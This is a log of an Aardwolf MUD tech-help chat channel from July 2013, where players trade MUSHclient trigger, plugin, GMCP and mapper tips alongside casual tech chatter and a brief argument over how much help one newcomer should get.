T3/r7/2013-07-09.txt.gz:{chan ch=tech}Zade Tech: at pagesize 50 ?
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Deathbolt Tech: i tried note catchup all too but that hasn
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Cherylpantz Tech: hit enter instead of 'a'. you're getting too many lines
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Deathbolt Tech: i tried note catchup all too but that hasn't cleared the list of notes
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Ashordin Tech: you have to note catchup all on each board. at least, that worked for me
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Zade Tech: cactchup all does not remove announce mudinfo personal notes -- may be informative to read those even if slowly
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Deathbolt Tech: thanks the enter did the trick :)
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Deathbolt Tech: it was board ideas actually
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: which folder/file stores all the triggers for mushclient?
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Ayasinda Tech: worlds
T3/r7/2013-07-10.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Pretty sure it's in the MCL file, but if you are upgrading you should just follow the directions on the website...
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Nuanse Tech: it's the mcl file you use from world
T3/r7/2013-07-10.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Aardwolf.coms
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: okay,thanks! not really. trying to mass change some stuff
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Ayasinda Tech: then it is the mcl file indeed
T3/r7/2013-07-10.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: ALso those will only be triggers you created...not ones in plugins.
T3/r7/2013-07-10.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Another option you have is to make the triggers into a plugin file using the wizard...
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Tech: Nuanse is agreeing with that [Outlaw] Mendaloth person again...
T3/r7/2013-07-10.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: The wizard has an option to make them into a plugin and then remove them from the world file (stupidly it removes them by default, so be careful).
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Jjo Tech: Hi, i've just copied my mush setup from my desktop to my laptop using the aardwolf.com page, this has resulted in everything working perfectly except that the communication box is massive, so big I can't see the resize option as it's off screen. is there a way to resize it without that corner resize grabber being visible?
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Hanslanda Tech: you can try using the resetaard command, but I dunno if it includes the comm log.
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Jjo Tech: that fixed it!
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Jjo Tech: Thanks!
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Grissom Tech: what is the number on the right of the time online in mush
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Tech: line number
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Grissom Tech: how do you make mush autologin
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Loreli Tech: Anyone have a quake console rec for Mac OS X that isn't TotalTerminal?
T3/r7/2013-07-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: usually win7 asks if it can reboot to install updates. now it just did it withouth a warning.. so rude:(
T3/r7/2013-07-10.txt.gz:{chan ch=tech}ElFeneri Tech: It just works.
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Frie Tech: must have been flagged as so important you cant handle it :-)
T3/r7/2013-07-10.txt.gz:{chan ch=tech}ElFeneri Tech: Microsoft Works
T3/r7/2013-07-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i feel molested
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Frie Tech: hehe
T3/r7/2013-07-10.txt.gz:{chan ch=tech}ElFeneri Tech: No worries, it knows better than you. You really really needed a reboot.
T3/r7/2013-07-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i hope they fix that terrible hdd sounds next reboot. drives me nuts
T3/r7/2013-07-10.txt.gz:{chan ch=tech}ElFeneri Tech: sometimes it's kind enough to give you a 15min warning before it reboots.
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Frie Tech: ah see there it is the hdd went hrm updates i cant take it fall over and fix me
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: is there anyway to set a pdf to be modified after it has been set not to? i am using nuance pdf converter pro 8.1
T3/r7/2013-07-10.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: extremely frustrating since i know i have edited this file before
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Vonliege Tech: [Aardmush] when I use a 'speed walk' alias, generally one that includes several custom exits, at the end, I always have a bunch of extra CRs that make my screen scroll way up... any suggestions for eliminating these?
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Ontuct Tech: what is the proper trigger string to get an alarm for Global Quests? 
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Global Quest: Global quest # 590464 has been declared for levels 25 to 36.
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Ontuct Tech: so if I triger off 'Global Quest: Global Quest' I should be ok?
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Bardis Tech: can I use sql regexp to remove some char or can it only be use to search
T3/r7/2013-07-11.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Hmmm it'd be a different SQL statement....
T3/r7/2013-07-11.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: It'd need to be an update statement....
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Bardis Tech: I need to update a column with another but without a,A,the,The and so on and I wanna try do it in sql
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Porphyre Tech: does the aard version of mushclient work with linux?
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Wildkard Tech: substring, len, and patindex are will help you do that in sql
T3/r7/2013-07-11.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Porphyre, it'll work through wine only.  Directions are on the Aard code.google.com website...
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Porphyre Tech: thanks
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Vexthorne Tech: Does mapper cexit_wait make mapper wait before performig the cexit action or before doing the next part of the path?
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Tynrael Tech: it extends the duration before it checks the room to determine the final destination
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Tech: next part of the path
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Tech: sometimes you do something to a MOB and he waits a few seconds before sending you on
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Vexthorne Tech: Great, thank you.  What's a good wait time normally?  Trying to adjust my umari cexit
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: steam summer sale started btw
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Tech: Wildkard drools all over himself -- making a TERRIBLE mess!
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Pedwiddle Tech: Anything good?
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Wildkard Tech: bioshock infinite only one today I might need
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Caramel Milkshake Tech: man whatever happened to those iomega disks? I just saw one in a drama
T3/r7/2013-07-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: iomega is a company
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Hanslanda Tech: the tape drives?
T3/r7/2013-07-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: they made lots of kinds of disks
T3/r7/2013-07-11.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Overtaken by usb drives?
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Wildkard Tech: zip became jazz became corporate backup
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Vonliege Tech: "Because it's YOUR stuff"
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Caramel Milkshake Tech: you know they had those fatter wider disk floppy looking things, I didn't even know they were still in business
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Vonliege Tech: 100MB a pop... ZIP drive
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Vonliege Tech: I had one, but it developed "The click of death"
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Wildkard Tech: they did the jazz 1gigabyte disks then they went to corporate backup solutions
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Pei Tech: how could i do something like CurrentMusic="GetInfo(67).."sounds/music/area/melody.ogg""
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Pei Tech: how do i protect the quotes inside the quotes
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Zeid Tech: Pei, if your running Linux OS you can install mpg123 and play mp3 files using a trigger like '#sys nohup mpg123 -q -b 2048 /beep/beep-1.mp3 &'
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Vorax Tech: i just had something weird happen, now whenever i enter a command, it says at the bottom of the screen Trigger function "process_prompt" not found or had a previous error, anybody know what this means?
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: alt+enter -> scripting -> uncheck enable scripting -> click ok -> repeat and re-enable scripting
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: or, find which plugin it's coming from and reinstall it
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: One thing to verify to prevent it happening again is to make sure your prompt ends in %c
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Vorax Tech: ok
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Vorax Tech: weird it said run-time error Plugin: xStats_Detector (called from world: Aardwolf) Reason: Processing trigger
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Vorax Tech: tried the scripting thing and reset prompt still won't go away
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: shift-ctrl-p -> select xStats_Detector -> click reinstall
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Vorax Tech: will do
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Vorax Tech: ahhhhh worked, thanks Cheezburger!
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Glad to be of help
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Tech: Turie glares at Om Nom Nom Cheezburger and accuses him of stealing his cookie.
T3/r7/2013-07-11.txt.gz:{chan ch=tech}Dawsey Tech: anyone here use bast autohunt for mushclient?
T3/r7/2013-07-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: is MAXINT on a hyprrthreaded sstem still th same?
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: whats the command to see what areas you haven't fully explored with your mapper
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Wildkard Tech: mapper unmapped here
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: thanks!
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Wildkard Tech: donka
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Zeid Tech: If you know a way to highlight multi line mob 'says,' using tt++ and implementing a universal method... Please share
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Tech: http://gcn.com/Articles/2013/04/18/Genome-research-creating-data-too-big-for-IT.aspx
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Tech: for zeid's earlier question, making sure you can see the mobsays is easy as they're sent via GMCP and expressly identified as mobsays...the difficulty is actually in not duplicating them, since they're NOT reliably identified in the main output
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: what does the mapper use to tell what area you're in?
T3/r7/2013-07-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: GMCP if you are talking Mushclient
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: hrm
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: what does gmcp stand for?
T3/r7/2013-07-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: help gmcp
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: get mad cash playa
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Noctiluca Tech: something MUD something protocol?
T3/r7/2013-07-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Might be easier if you tell us what you are trying to do, or what problems you are having?
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: just wondering....... i'm making my sound pack use the room trigger right now to play area music
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: i wanted to do this without gcmp tho cuz not everyone uses it
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: gmcp
T3/r7/2013-07-12.txt.gz:{chan ch=tech}BlueBeetle Tech: any honda civic pros out there ?
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: how many stickers?
T3/r7/2013-07-12.txt.gz:{chan ch=tech}BlueBeetle Tech: wondering how much a head gasket job would go for
T3/r7/2013-07-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Well if it's client specific and they are using mushclient, they are using gmcp
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: i'd guess 1k at least.. random guess
T3/r7/2013-07-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Well if they are using the Aard Mush anyways...
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: it's for vi users too and i know several that do not use the aard client but naked mushclient
T3/r7/2013-07-12.txt.gz:{chan ch=tech}BlueBeetle Tech: thats the ballpark i got
T3/r7/2013-07-12.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: unless you want to spam and gag where, there's no other way to detect area changes
T3/r7/2013-07-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Only other way would be with room names, not very efficient or accurate.
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Noctiluca Tech: I am fairly sure most clients use GMCP.
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: aardclient decides to use 50% of the cpu with jaws, it crashes on it's ass when using it with nvda + mushreader or tts_nvda, and MIGHT work with windows eyes but hasn't been tried by my group of vi friends
T3/r7/2013-07-12.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: remove the plugins causing the problems then
T3/r7/2013-07-12.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: the actual program itself is identical, the only difference between "normal" mush and "aard" mush is that the latter comes with some plugins pre-installed
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: we did, it's with jaws i removed every plugin in fact and it still uses 50% cpu with aardmush
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: aardclient*
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: just being open, not even having a world open or connected
T3/r7/2013-07-12.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: and it doesn't with normal mush?
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: nope, uses 3-5% normal mush
T3/r7/2013-07-12.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: hmm
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: yeah it's f**ked cuz i'd like to get the mapper working for a vi friend
T3/r7/2013-07-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: You can Pei.
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: how
T3/r7/2013-07-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Just not without GMCP
T3/r7/2013-07-12.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: watch the language please...
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: yes yes
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: already got a tell
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Noctiluca Tech: Have you tried just installing the GMCP plugin?
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: is the mapper specific to aardclient or can that be downloaded/used seperately, when i tried to use the plugin i couldn't cuz there were dll and .lua files it was looking for that i couldn't even find in the aardclient dirs
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Noctiluca Tech: tech http://www.aardwolf.com/wiki/index.php/Clients/MushclientGMCP This plugin?
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: no i took it from aardclient, gcmp handler worked fine, but when i loaded mapper it spilled everywhere with error msgs about dll's and .lua
T3/r7/2013-07-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Yeah, I think that Fiendish updated the version of LUA for the Aard Mush.
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Noctiluca Tech: Oh, you're talking about mapper.
T3/r7/2013-07-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: So might need that Dll
T3/r7/2013-07-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: But really I know people using Jaws with Mushclient for Aard, only had to disable the group monitior, maybe hte com log and it worked fine.
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: odd... whatever her configuration it just did not like jaws, i was vnc'd in setting it up
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Pei Tech: she switched to nvda and aardclient worked at normal cpu levels but wouldn't take mushreader or tts_nvda
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Emage Tech: what is the best mudclient for anyone running linux?
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: mush though wine?
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Emage Tech: right now i'm using mudlet
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Noctiluca Tech: cq
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Noctiluca Tech: Oops.
T3/r7/2013-07-12.txt.gz:{chan ch=tech}Bast Tech: mushclient through wine is my vote
T3/r7/2013-07-13.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: how do i create a portal alias, for example, warp 657567 will get portal named 8649984 from bag and enter it?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: there's a great tutorial on that linked from the aardMUSH page on the mapper
T3/r7/2013-07-13.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: bid
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: no!
T3/r7/2013-07-13.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: cant afford to watch videos at this point
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Zeid Tech: This is just a test
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tynrael Tech: how do you toggle the 'verbose' option so all commands sent to the mud are displayed instead of being potentially hidden?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: not sure what you mean it doesn't hide commands as far as I know, are you talking about echocommands?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tynrael Tech: commands that are ommited from output for example, I think I remember somebody mentioning a way to have the mud show what it was recieving for debugging purposes
T3/r7/2013-07-13.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: yes that what echocommands is
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tynrael Tech: yep that does it, thanks!
T3/r7/2013-07-13.txt.gz:{chan ch=tech}HelperMan Hadar Tech: with php is it possible to use a variable in another variables name?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: i'm trying to start using gmcp in my sound pack for area sounds, how would i go about starting to use gmcp and how do i make it report what area it's in
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Leinei Tech: What client, Pei?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: you'd use OnPluginBroadcast to grab the info from room.info's zone field
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Leinei Tech: I'd check out the wiki.  There's a general gmcp page with all the info listed that you can grap, and then one about how to use it in MUSH.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Leinei Tech: grab*
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: ok, is there any good documentation on where a beginner scripter just starting with gmcp should read
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: cool
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: anyone know where this wiki page is?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: the wiki, and look at some of the smaller/simpler plugins
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: client protocols
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: so basically i want to onpluginbroadcast find room.info zone info and then make a CurrentMusic variable that links to the path to the sound file
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: can anyone help me with a snippet of code for an example
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: as I said, best place to look is in simple plugins
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: they ARE snippets of code
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Leinei Tech: Did you look at the "GMCP in MUSHclient" page?  There are snippets of code there, as well
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: if text == "room.info"'
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: i dunno how to make it pick out zone
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: could anyone point me to a plugin or show me an example
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: take a peek at some of my plugins
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: like? and where do i get them
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: pei: where would I find YOUR website info?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: since you have it set, you obviously know about its existence...
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: whenever someone suggests that you look at someone else's "stuff", that's the first thing you should do
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: you don't have to be so mean
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: which one could i look at
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Vonliege Tech: I usually start in the underware drawer
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Vonliege Tech: that's where people keep their good "Stuff"
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: guys seriously, i'm looking for serious help here, if this is how someone who is trying to contribute to the aardwolf mud is going to be treated then what am i doing this for
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: and I'm giving you serious help here
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: you should be doing it to learn and better yourself
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Vonliege Tech: have a look at abe's 'room desriptio' plugin
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: thank you
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: rofl, I read that and had to think "I have a room description plugin?"
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: Vonliege smiles
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: that one actually wouldn't be a good one to look at
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: just because you guys are all good in the scripting area, you don't need to be mean and sarcastic to people who are trying to learn, i took this for a friendly mud not some scripting channel on irc
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: for two reasons: 1) it doesn't use gmcp, and (2) it's complex in creating a miniwindow
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: pei: we're not even talking about scripting yet
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: you not being able to finger out where to get my stuff has nothing whatsoever to do with scripting [sic]
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: well i am, i just need an example on how to read the zone section on a room.info
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: and turn it into a variable
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: so, you'd want to look at a plugin which doesn't need to have a visual (it'll be much shorter), and which uses some GMCP (doesn't have to be room/zone info)
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: ok which one
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: tbh, download multiples and look at them, see which ones "click" for you
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: seriously? you're gonna make me wade through all of them when i just need a simple example
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: all of them?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: for starters, only look at stuff for MUSHclient...I don't even use the client, so there's not much
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Leinei Tech: there are examples on the wiki.  are those not sufficient?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: "give all" wouldn't have anything from GMCP, and the top 3 were written before GMCP
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: could you just tell me which one you think i should look at for an example and not be all "you must find your own path" on me?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: you do this to everyone
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: as well I should
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: and here i am trying to contribute to aardwolf
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: how about this: download them into a directory, then sort by size :-)
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: then you should learn how to learn
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: and how to take advice
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: omg, really... man you really are an ass
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jenni Tech: it can be complicating to wade through hundreds of examples and furthermore confusing
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Grissom Tech: he is right pei take some initiave that is how programming and computers have come so far
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: what hundreds of examples are you talking about, Jenni?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jenni Tech: in general. i just came into this.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Garthis Tech: well he is honest though since everyone thinks different and knowing how to learn is important to coding
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jenni Tech: perhapse i can be of some help
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: I already narrowed it down considerably for you...if I were you, I would've tried the very next one in the list
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jenni Tech: and i got hit with the spelling bug. ugg!
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: which is both extremely small, and starts out doing EXACTLY what you're looking to do
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: what one in the list, i see your plugins, but it doesn't even specify which ones are for mush
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: yes it does
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: on http://mikeride.chaosnet.org/abelinc/scripts/ ?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: the page is called...my scripts for a totally different client...try looking for the "this stuff is different" part
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: yes, did you try ctrl-f and typing mush?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: there's an entire section of just MUSHclient plugins I've written for other people which I've never used myself
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: so...take that info, and add it to the ones that I already ruled out for you...
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Vonliege Tech: I'm still trying to make an alias that will let me change variables on the fly using the 'setvariable' command... can't seem to get the sytax right.  Maybe I'll work on that some more this afternoon
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Vonliege Tech: havn't played with it for a few days.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: setvariable is a scripting command...you need the alias to be sent to script
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Vonliege Tech: ooohhh...  that
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: and did you get the helps working?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Vonliege Tech: ooohhh...  that's a pretty good hint.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Vonliege Tech: I did get the helps working... thankyou.  I sort of got use to looking at the web-based halp, though, so I'm trying to train myself to go to the help file instead
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: yeah, for just general scripting lookups it's the same, but the built-in ones are handy when you want to know what a checkbox does in a modal dialog, etc
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: since clicking the help in that window will bring up the help for that specific window
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: for example, going to aliases, clicking new, then clicking the help button takes you to the definition of the edit alias window, and the send to drop-down is explained pretty well, saying what to select to include aliases in aliases, etc
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: pei: how's the search going?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: when looking at a plugin, skip the top "header" (<plugin>)part...since you're interested in just scripting GMCP stuff, you'd also skip aliases and triggers, and get right to the <script> part
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: yes, i get that
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm having issues with Port 80 being open. I have it open/forwarded/allowed through firewall, but canyouseeme.org is reporting a connection timeout on it. Any ideas why?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: windows firewall or router firewall? have you checked the opposite?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Both firewalls allow port 80.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: specifically incoming...what happens if you telnet to the machine on port 80?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Both inbound and outbound are open. Haven't attempted to telnet in, though, but I'm getting no connection with 80 at all. :\ Let me see about telnetting in.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: 400 Bad Request . *ponder*
